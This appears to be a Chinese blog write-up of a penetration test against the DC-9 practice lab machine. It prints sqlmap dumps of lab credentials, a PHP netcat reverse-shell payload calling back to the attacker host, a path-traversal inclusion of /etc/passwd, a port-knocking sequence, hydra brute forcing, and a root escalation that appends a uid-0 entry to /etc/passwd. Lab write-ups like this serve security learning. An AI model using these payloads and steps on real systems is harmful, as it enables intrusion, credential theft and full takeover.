DC-9 靶机渗透测试

DC-9 渗透测试

冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已

靶机IP: 172.66.66.139

kali IP: 172.66.66.129

网络模式 NAT

netdiscover

image

拿到靶机ip 172.66.66.139

nmap -sV -A -p- -oN /tmp/dc-9.nmap

image

22端口的状态时 filtered (被过滤的,不能确定是否开放)。80开放。

#看到 SSH的22端口是filtered ,猜想是否装了 knockd 工具隐藏了服务
/etc/knockd.conf

dirb http://172.66.66.139 没有发现重要信息

image

访问80端口,未能识别出CMS 名称。image

首页是 exmple.com 全体员工信息,还有展示、搜索、登录三个界面,研究一下网页源代码。

RFC 2606RFC 6761所述,为了文档目的,保留多个域名,如example.com和example.org。这些域可以在文档中用作说明性示例,而无需事先与我们协调。它们无法注册或转让。

imageimageimage

先尝试注入,再账号密码爆破,因为有用的信息太少了。bp抓包开起来。

imageimage

image

搜索框注入无果.....

我嘞个去...瞎了瞎了 ,搜索框所在的页面是 /search.php ,抓包看了下,没注意请求头 的是 /results.php

image

仔细看,

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' --dbs

image

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users --tables

image

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails --columns

image

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

image

仿佛都是普通用户,随便一个试试 marym | 3kfs86sfd 登不进去...换一个数据库看看。

image imageimage

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D Staff -T Users -C Username,Password --dump

image

爆出来,admin: transorbital1

imageimage

image

发现没有过滤? 写个反弹shell <?php system("nc -e /bin/bash 172.66.66.129 8888");?>

image
字段有长度限制...查看源代码发现不是 前端限制,那应该是后端的长度限制,这时候考虑拼接传入shell

行吧,暂时考虑不出来,我太菜了。

看到网页底部脚标的footer标签 <footer>File does not exist</footer>

难道是有文件包含吗?image,整一下试试。盲猜一下是 ?file= ,再试路径

试出来url :?file=../../../../etc/passwd 。当包含不出来的时候,别着急,多试试,多写几个点点杠进去

image

服务器是Apache,试着包含一下配置文件,尴尬,找不到phpinfo.php位置,也找不到Apache配置文件的位置...

在/etc/passwd 中,发现了一些账号是在前面的sqlmap中爆破出来的,他应该是ssh登录的账号,但是ssh好像是关闭的,不对呀,有情况。

因为ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件 /etc/knockd.conf?file=../../../../etc/knockd.conf

image

这样看着有点乱,拿出来看调整一下格式,加入自己的理解,如下:

[options] 
		UseSyslog 
			
[openSSH] 	
		sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;
		seq_timeout = 25 
		command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
		tcpflags = syn 
			
[closeSSH] 
		sequence = 9842,8475,7469  	# 关闭ssh 22访问的三个操作端口
		seq_timeout = 25 
		command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
		tcpflags = syn 

解释:

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。

Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了

在kali中执行如下命令:

1) 使用7469/8475/9842队列号敲门登录:

nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done

image-20210428100732736

关闭的话也同理: 使用9842/8475/7469队列号关门

for x in 9842 8475 7469; do nmap -p $x 192.168.1.38; done

ssh打开之后,账号密码登录。在上面的sqlmap爆破中我们

| username | password |
+--------------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0

这么多个账号,怎么知道哪个账号是可以登录的呢?当然可以逐一去试,还有别的办法吗?当然有,hydra

hydra -L /tmp/dc-9-user.txt -P dc-9-passwd.txt 172.66.66.139 ssh -t 30

image

[22][ssh] host: 172.66.66.139 login: chandlerb password: UrAG0D!
[22][ssh] host: 172.66.66.139 login: joeyt password: Passw0rd
[22][ssh] host: 172.66.66.139 login: janitor password: Ilovepeepee

仔细看每一个账号里的文件,检查。用 ls -alF看到

image

cat passwords-found-on-post-it-notes.txtimage

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

| bettyr | BamBam01 |
| joeyt | Passw0rd |
| phoebeb | smellycats |

在数据库爆出的账号中匹配到了三个,检查完当前账号后去看看这三个账号。

joeyt是前面hydra出来能登录的其中一个,上面的密码中,也只有这个能登录。

image

正经开始提权:收集有用信息

joeyt@dc-9:~/.gnupg$ uname -a
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
# Debian 4.19.67  

提权整了半天,没进展,回过头来看,刚刚拿到的密码,难道没有其他用处了吗,要不要加进去 dc-9-passwd.txt 里再重新hydra爆一下呢? 要,很有必要,真是没想到呀。

image

fredf : B4-Tru3-001 第一个账号是新的,ssh登录

image

仿佛有希望。到该目录下研究研究test。

fredf@dc-9:/opt/devstuff/dist$ ls
test
fredf@dc-9:/opt/devstuff/dist$ cd test

image

linux里 .so 后缀文件是啥东东?

一般来说, .so 是基于linux下的动态链接,其功能相和作用相当于windows.dll文件。

linux 中的.so和.a文件 - 心田居士 - 博客园 (cnblogs.com) 看这里。

/opt/devstuff/dist/test/test 这一层好像没什么好看的,

SPEC文件扩展名可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。

imageimage

#在这一级看到了  test.py 
-----------------------------------------------------------
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys   #包含sys后 才能用sys.argv
if len (sys.argv) != 3 :   #sys.argv[1] 是文件本身
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
    output = (f.read())

    f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
    f.write(output) #写入内容
    f.close() # 关闭 
------------------------------------------------------------
#只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。

先来学习:sys.argv[ ],是一个从外部程序获得参数的桥梁,获取的参数可以是多个,所以它会是一个列表(list),也就是说,sys.argv其实是一个列表,用[ ] 提取其中的元素,第一个元素 sys.argv[0] 是程序本身,后面才是一次输入的外部参数。

#test.py
inport sys
a=sys.agrv[0]
print(a)   # 输出  test.py,也就是说sys.agrv[0] 的值是文件本身
#########################
#改一下代码
#test.py
inport sys
a=sys.agrv[1]  #从sys.argv[1]开始才是传入的参数
print(a)  
# 测试传参what输进去:test.py what
# 输出 就是   what 

回到靶机,按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/a 里,再脚本追加写入 /etc/passwd 里。

写之前是不是得先生成一个加密后的密码呢? linux里有个 openshell ,这是可以用来生成密码的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5

root@kali:~# openssl passwd -1
Password:   #123456
Verifying - Password:  #123456
$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0

openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

-1:表示采用的是MD5加密算法。

-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

示例:

[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度

Password: ##这里输入的是密码

$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码

##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。

先试试不加密码的账号,echo 'axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash'

image

image

怎么不行呢...阿裂开,双引号用错了,得用单引号......

passwd的格式: [⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash

再对比一下 passwd 文件里的 root 的是怎样的

root:x:0:0:root:/root:/bin/bash

仿佛是命令用错了,改一下 openssl 的命令,加点盐,写上用户。

openssl passwd -1 -salt ccc 123456 ##构造ccc用户密码为123456的hash

ccc:$1$ccc$tK1vhSYd21dUn8Z0EC/Pl0:0:0:root:/root:/bin/bash

image

image

最后:

  1. 对文件包含敏感度不够,看到 脚标 的File does not exist,竟然没有意识到 文件包含。
  2. 归纳总结:/etc下有什么重要的文件,都累出来。(详情出门右转个人笔记),也可以爆破,也是能出来
  3. 看到有文件包含,就先用fuzz来跑一跑。
  4. hydra 账号密码爆破工具,支持多种协议。
  5. 以后用ls 命令,建议都用这个 ls -alF -a显示隐藏文件, -l显示文件详细信息, -F显示文件的类别(文件夹后有/,可执行文件前有*,文件等,看到你就知道了)
  6. su - root切换到root用户,并改变环境变量。
  7. DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已啊。
posted @ 2021-05-12 13:42  Bitores  阅读(865)  评论(1编辑  收藏  举报